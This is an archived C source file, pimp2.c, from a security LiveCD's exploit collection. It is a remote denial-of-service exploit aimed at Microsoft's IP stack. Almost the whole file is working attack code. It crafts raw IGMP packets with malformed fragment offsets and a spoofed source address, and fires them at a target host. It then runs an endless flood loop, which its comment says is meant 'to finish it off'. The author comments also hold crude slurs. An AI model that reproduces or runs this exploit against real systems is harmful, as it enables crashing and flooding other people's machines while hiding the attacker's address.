home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / pimp2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  138 lines

  1. /*
  2. ** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
  3. ** exploits bug in m$'s ip stack
  4. ** rewrite by nyt@EFnet
  5. ** bug found by klepto
  6. ** usage: pimp <host>
  7. ** CRY what messy fucking code.
  8. ** now for the gay modification :p
  9. ** ** ** ** ** ** ** ** ** ** **/
  10. /**
  11.  ** [gH] pimp2.c by icesk. [gH]
  12.  **
  13.  ** well so much for readble code.
  14.  ** 1. cleaned up the code (prolly took me the longest heh)
  15.  ** 2. add'd src_addr suport.
  16.  ** 3. allows suport of differant igmp2 codes.
  17.  ** 4. interval into wich to send packets (microseconds)
  18.  **/
  19.  
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <time.h>
  24. #include <netdb.h>
  25. #include <netinet/in.h>
  26. #include <netinet/in_systm.h>
  27. #include <netinet/ip.h>
  28. #include <sys/socket.h>
  29.  
  30. struct igmp
  31.   {
  32.     unsigned char igmp_type;
  33.     unsigned char igmp_code;
  34.     unsigned short igmp_cksum;
  35.     struct in_addr igmp_group;
  36.   };
  37.  
  38. #define ERROR(a) {printf("%s\n", a);exit(-1);}
  39.  
  40. u_long  resolve(char *);
  41.  
  42. int main(int argc, char *argv[])
  43. {
  44.   int nsock, ctr, flud;
  45.   char *pkt, *data;
  46.   struct ip *nip;
  47.   struct igmp *nigmp;
  48.   struct sockaddr_in s_addr_in;
  49.  
  50.   flud = 0;
  51.   setvbuf(stdout, NULL, _IONBF, 0);
  52.   if(argc != 6) ERROR("[gH] pimp2.c by icesk. [gH]\n<host|brodcast> <ammount> <src_addr|target>
  53.                         <igmp code; pimp: 31> <interval>");
  54.  
  55.   if(atoi(argv[2]) == 0)
  56.     {
  57.       flud = 1;
  58.     }
  59.   nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  60.   pkt = malloc(1500);
  61.  
  62.   memset(&s_addr_in, 0, sizeof(s_addr_in));
  63.   memset(pkt, 0, 1500);
  64.  
  65.   nip = (struct ip *) pkt;
  66.   nigmp = (struct igmp *) (pkt + sizeof(struct ip));
  67.   data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
  68.   memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));
  69.  
  70.   s_addr_in.sin_addr.s_addr = resolve(argv[1]);
  71.  
  72.   nip->ip_v  = 4;
  73.   nip->ip_hl  = 5;
  74.   nip->ip_tos  = 0;
  75.   nip->ip_id  = 69;
  76.   nip->ip_ttl  = 255;
  77.   nip->ip_p  = IPPROTO_IGMP;
  78.   nip->ip_sum  = 0;
  79.   nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
  80.   nip->ip_src.s_addr = resolve(argv[3]);
  81.   nigmp->igmp_type = 2;
  82.   nigmp->igmp_code = atoi(argv[4]);
  83.   nigmp->igmp_cksum = 0;
  84.  
  85.   inet_aton("128.1.1.1", &nigmp->igmp_group);
  86.  
  87.   for(ctr = 0;ctr < atoi(argv[2]);ctr++)
  88.     {
  89.       printf("...\r");
  90.       nip->ip_len  = 1500;
  91.       nip->ip_off  = htons(IP_MF);
  92.       sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  93.       nip->ip_off  = htons(1480/8)|htons(IP_MF);
  94.       sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  95.       nip->ip_off  = htons(5920/8)|htons(IP_MF);
  96.       sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  97.       nip->ip_len   = 831;
  98.       nip->ip_off  = htons(7400/8);
  99.       sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  100.     }
  101.   {
  102.     printf("packets sent\nentering flood mode to finish it off [crtl+c to finish]\n");
  103.     while(1)
  104.       {
  105.         nip->ip_len  = 1500;
  106.         nip->ip_off  = htons(IP_MF);
  107.         sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  108.         usleep(atoi(argv[5]));
  109.         nip->ip_off  = htons(1480/8)|htons(IP_MF);
  110.         sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  111.         usleep(atoi(argv[5]));
  112.         nip->ip_off  = htons(5920/8)|htons(IP_MF);
  113.         sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  114.         usleep(atoi(argv[5]));
  115.         nip->ip_len   = 831;
  116.         nip->ip_off  = htons(7400/8);
  117.         sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,sizeof(s_addr_in));
  118.         usleep(atoi(argv[5]));
  119.       }
  120.     shutdown(nsock, 2);
  121.   }
  122. }
  123. u_long resolve(char *host)
  124. {
  125.   struct hostent *he;
  126.   u_long ret;
  127.  
  128.   if(!(he = gethostbyname(host)))
  129.     {
  130.       herror("gethostbyname()");
  131.       exit(-1);
  132.     }
  133.   memcpy(&ret, he->h_addr, sizeof(he->h_addr));
  134.   return ret;
  135. }
  136.  
  137.  
  138. /*                    www.hack.co.za              [2000]*/